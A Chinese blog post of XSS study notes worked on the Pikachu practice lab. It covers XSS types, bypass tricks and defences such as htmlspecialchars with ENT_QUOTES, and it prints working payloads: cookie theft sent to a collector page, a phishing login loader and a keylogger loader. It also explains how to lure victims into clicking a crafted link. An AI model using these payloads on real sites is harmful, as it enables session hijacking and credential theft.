XSS学习

XSS

xss简介

XSS叫跨站脚本攻击,英文缩写应该是CSS,但是因为CSS这个缩写已经用过了,所以改成XSS。

XSS是什么?

XSS就是指恶意攻击者在Web页面中插入恶意JS代码,当用户浏览网页的时候,嵌入其中Web里面的JS代码会被执行,就可以达到恶意攻击用户的目的。

XSS漏洞通常是通过php的输出函数将js代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

php中常见的输出函数有:

  • echo
  • printf
  • print
  • print_r
  • sprintf
  • die
  • var-dump
  • var_export

xss类型

​ 1.反射型XSS; 一次性,不存储,一般比如查询页面

​ 2.存储型XSS; 存在数据库永久存储,一般比如留言板,注册页面

​ 3.DOM型XSS; 完全不与服务器后台交互,纯前端,dom就是js那个内容吧,这个和反射型还是区别一下(这个DOM在js上面学的是通过document对象操作网页上的内容)

单独解释一下DOM型XSS:简单来说就是通过修改页面的DOM节点形成的XSS。他和另外两种XSS的区别在于他的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。

漏洞形成原因

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

实例

拿到这类题目我们首先要做的是测试一下特殊字符有没有被过滤掉

这里使用pikachu漏洞靶场平台

反射型xss(get)

这种是最简单的

可以看到输入的”和<>还有数字都没被过滤,直接打印在下面了

我们直接尝试输入

1
<script>alert("1")</script>

发现有输入限制,只能输入限制数量的字符,应该是前端显示,看一下源代码

限制了20个字符,改成大一点就行了

成功利用

反射型xss(post)

这里是需要登陆的,因为第一关暴力破解那边是得到了几个账号的,其中一个账号是admin密码是123456所以这边试一试登陆成功了

直接输入上一关的代码直接利用了

1
<script>alert("1")</script>

为什么方法和上一题一样?

因为xss类型都是一样的,就是get和post两种提交方式的差别罢了,get的话会在url上面带上请求,post不会

存储型xss

一般就是留言板之类的

用之前最简单的payload试一下

成功弹出

DOM型xss

这样一个界面,不知道输什么,就随便测试一下

下面多了一句话,而且是一个a标签,点击无法访问

于是看一下源代码

我们发现我们输入的内容进入了a标签的href属性中,因为是在a标签里面,所以不好使用js代码,因为a标签有个onclick事件,所以我们可以直接尝试用这个弹窗

1
#' onclick="alert(1)">

这里发现闭合必须用单引号,用双引号不行

于是点击下面的a标签成功弹窗

Pikachu上面关于DOM型还有一题,其实和上面这题几乎一样,就是a标签要点两次

源代码这里,显示的先是下面的a标签,然后onclick到一个domxss()函数然后生成上面的a标签

这就是domes()函数

xss利用

我们之前讲了关于xss的三种类型,并且给了实例,但是我们的实例都只是做了一个弹窗,这个弹窗当然没什么表面上的危害,我们需要通过这个进一步利用,这才是我们的目的,所以接下来就演示一下xss的利用

xss的利用分成三种方法:

  • cookie的窃取和利用

  • 钓鱼攻击

  • xxs获取键盘记录

cookie利用

环境搭建

这里先讲一下前期的环境配置。我们如果要获取其他用户的cookie,那么我们必须要有一个地方来保存我们获取到的cookie,并且因为其他用户是外网,所以如果我们有办法获取他们的cookie,那么肯定是他们要发自己的cookie给我们,这就需要我们有一个公网的网站来接收他们发来的cookie

因为现在是靶场,都是内网,所以pikachu提供了一个网站给我们接受cookie,我们不需要自己搭公网的网站了。

这里有个xss后台,我点进去

单独安装配置一下即可,数据库账号密码都是root

首页是这样的

给出了账号密码,直接登陆

这边直接给出了我们刚刚说的xss的三种利用方式,我们先看第一个cookie搜集

这样一个界面

这里我们需要改一下这个xss后台的一个cookie的api界面

这里的重定向我们改成把网址改成127.0.0.1/pikachu-master/index.php

先这样改,等会说为什么这样改

好了,我们现在已经完成了环境的搭建。

payload编写测试

我们回到第一题

这里我们用这样一个payload

1
<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

然后就可以看到在我们刚刚那个xss后台这里获取到了一个cookie

这里解释一下payload

因为alert可以弹窗,说明可以执行js代码,那么我们这边就执行一个获取当前cookie的代码,即document.cookie然后利用document.location重定向把获取到的cookie发送到那个xss后台里去

现在我们只需要把referer里面的链接发给别人就可以获取到别人的cookie了

1
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

可能一下子没反应过来为什么这样做,我把整个cookie利用流程理一遍

利用流程梳理

首先,我们发现了某个网址存在xss漏洞,如图

我们发现插入js代码可以直接弹窗

1
<script>alert("1")</script>

上面的payload只是我们测试是否存在xss漏洞的,如果要利用漏洞,我们需要用一个利用漏洞的payload

这里我们使用这样一个payload,我们想要获取到其他用户的cookie

1
<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

这样一个payload输入到刚刚的地方,会被执行,于是在我们自己网址的后台就可以看到刚刚我们测试的自己的cookie出现在了我们的后台

于是我们把这里的referer的网址复制出来,然后发给别人,这个网址就是我们刚刚执行xss漏洞的请求。如果别人点击了这个网址,因为他们是有自己的cookie的,就相当于他们把自己的cookie获取到然后发给我们。

简单来说就是对方点击我们发的这个链接就会完成xss执行的操作,即自动在下面这里输入那个payload

那么只要他点击了就会把它的cookie发送到我们的xss后台

那么现在有两个问题

一、对方为什么会点我们发的链接?

1
我们假设这个漏洞出现在baidu,那么我们这个链接点前缀肯定是www.baidu开头的,对方因为要访问百度所以看这个链接前面是baidu所以会点

二、如何让对方点击后依然不知道自己的cookie被泄漏了?

1
我们在环境搭建的时候写了一个重定向的链接,意思就是说当对方把cookie发送到我们的网站上之后,我们网站会马上发回给他一个重定向到链接,这是我们自己设置的,我们这里设置的是pikachu的首页,在实际运用中,我们设置的就是比如www.baidu.com,这样的话,我们发给他链接,告诉他这个链接是百度首页,他看到链接的前缀是www.baidu就会相信,于是点了,这个时候因为百度有这个xss漏洞,所以他就会按照我们的payload自动发送自己的cookie给我们这边的网站,然后我们收到他的cookie之后就会返回给他一个百度首页。这样的话在他看来,确实只是访问了百度首页,但是他并不知道自己的cookie已经被发出去了。

post提交方法

我们刚刚用的是get方式的反射型xss漏洞,那么如果是post那么就不能把payload附带在url上面了,所以我们需要单独写一个页面

这个pikachu的xss后台里面已经写好了一个html

我们可以这个post.html里面其实就是一个表单,然后会自动提交这个表单,表单里面就是js代码,把cookie发送到xss后台。其实原理和get肯定是一样的,只不过不能在url上面带payload于是就写在单独的一个页面里面了,到时候直接把这个页面的链接发给被攻击者就好了,这里就不演示了。

钓鱼攻击

我们之前的存储型xss就是把用户输入的内容永久的存储到服务器,所以这里就非常容易弄钓鱼攻击

在这里输入一个payload

1
<script src="http://127.0.0.1/pikachu-master/pkxss/xfish/fish.php"></script>

然后就弹出一个登陆框

这里如果输了账号密码提交了,那就直接传给后台了,这就是钓鱼攻击,上面的cookie利用拿的是对方的cookie,这里的钓鱼攻击直接拿到账号密码的明文。

刚刚那个payload其实就是访问fish.php这个页面

源码是这样的,意思就是说会出现一个弹窗,然后提示用户输入账号密码,然后把账号密码发送给后台

后台就是xss后台里面有个钓鱼结果搜集的后台

xxs获取键盘记录

所需知识:跨域

当协议(http/https)、主机(主域名xxx.com,子域名www)、端口中的任意一个不相同时,称为不同域

我们把不同的域之间请求数据的操作,称为跨域操作

同源策略

所有浏览器的约定。两个不同域名之间不能使用js进行相互操作

如果想要进行跨域操作,则需要管理员进行特殊的配置

比如通过:header(“Access-Control-Allow-Origin:x.com”)指定

注意:下面这些标签跨域加载资源(资源类型时有限制的)是不受同源策略限制的

1
2
3
4
<script src="..">  //js加载到本地执行
<img src="…"> //图片
<link href="…"> //css
<iframe src = "…" //任意资源

为什么要有同源策略?

我登录了淘宝,如果攻击者给我发一个带有恶意js的链接,我打开了,可能对方就可以获取到我淘宝的cookie

我们试一下

1
<script src ="http://127.0.0.1/pikachu-master/pkxss/rkeypress/rk.js"></script>

我们把这个payload放到那个存储型xss那题目里面

注意一下接收键盘记录的xss后台的代码需要改一下

改成如图这样,不然请求的地址是错误的

因为改的是js,浏览器默认是缓存js的,所以改完记得强制刷新一下网页

现在只要在页面上随便敲键盘,键盘记录就都可以被记录下来(可以看一下Newwork的发包情况)

xss盲打

意思就是我们输入的内容只是会发送给后台,不会在前端输出,这样是不是意味着我们不能加入js代码了?

其实可以给后台管理员加js代码,同样可以执行js代码

这也是一个留言板,我们提交之后前台是没有反应的,因为没在前台输出,但是如果管理员登陆了后台,在后台看我们的留言的时候,会执行这个js代码。

所以我们去后台看一下(这个题目右边有个提示按钮,给了后台地址)

一登陆就看到刚刚我们的js代码被执行了

所以说xss盲打意思就是xss攻击管理员后台,让后台执行我们的js代码

xss绕过

1
2
3
4
5
6
7
		a. 首先是前端限制绕过,比如说第一题的限制输入20个字符,这种情况我们可以直接修改前端代码来绕过,是非常基础的
b. 大小写。比如<SCRIPT>aLeRT(111)</sCRIpt> 因为一般是通过正则表达式来过滤的,但是正则是区分大小写的,所以我们就可以用大小写来进行绕过
c. 拼凑。<scri<script>pt>alert(111)</scri</script>pt> 有些时候他会处理<script>但是我们在<script>里再包了一个<script>这样外面的<script>被处理了,但是里面的还在,那就还能用。
d. 使用注释进行干扰。<scri<!--test-->pt>alert(111)</sc<!--test-->ript> 后台只认<scipt>,但是在中间加上了注释,就匹配不上了,就认不出来了
e. 编码。比如什么url编码html编码啥的,后台是不认识的,把<script>编码来绕过,但是要注意的是编码一定要能被浏览器翻译执行,弄个什么RSA肯定是无法翻译的
比如<img src=x onerror="alert('xss')"/>可以把alert('xss')进行html编码,用url编码好像不行,这个img的onerror好像不能识别
用img标签代替script标签 <img src=x onerror="alert(111)">

比如这里的题目

1
<Script>alert(1)</sCript>

我们试一下大小写,成功绕过了

xss之htmlspecialchars

这个其实是一个php的函数,这个函数的作用是把预定义的字符转换为html实体

预定义的字符是

&(和号)成为&amp

“(双引号)成为&quot

‘(单引号)成为&#039

<(小于)成为&lt

>(大于)成为&

例如:$ok=htmlspecialchars($_GET[‘message’])

可用的引号类型:

ENT_COMPAT -默认。仅编码双引号

ENT_QUOTES -编码双引号和单引号

ENT_NOQUOTES -不编码任何引号

一般情况的话,管理员都会因为懒,把引号类型设为默认,但是这种情况的话只编码了双引号,这种时候我们就可以用单引号来代替双引号。所以如果作为安全工程师保护网站安全的话我们应该注意这个函数,把引号类型改成ENT_QUOTES这种才是最安全的。

看这题

我们的输入到了a标签的href里面

如果我们想要利用的话,必须把这个href给闭合了,所以用引号试一下

这样就成功了,注意这个payload需要加一个q这种字符在单引号前面,然后最后没有单引号

然后我们点击一下这个a标签就可以利用了

下面是源代码,确实没有对这个函数添加引号类型

xss之href输出

这题和上题一样,输入到href里面去了

但是这题把单引号和双引号都过滤了

那么这题可以用javascript协议来执行js

1
javascript:alert(1)

利用成功

阶段总结:如何防范a标签的href漏洞

这里需要总结一下如何防范a标签的href漏洞,可能面试会问到,我们要做的就是首先限制a标签只允许http和https,这样可以防止javascript然后再用htmlspecialchars函数编码双引号和单引号,防止闭合href用onclick

xss之js输出

我们发现输入的内容会输出在js里面

那么我们可以闭合js

1
123'</script><script>alert(1111)</script>

我们这样输入payload在源代码里面发现成功闭合了js

成功利用

源代码里面给了一个说明,就是说js输出点应该使用反斜杠对特殊字符进行转义

xss常见防范措施

总的原则:输入做过滤,输出做转义

  • 过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。

  • 转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面进行js转义


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!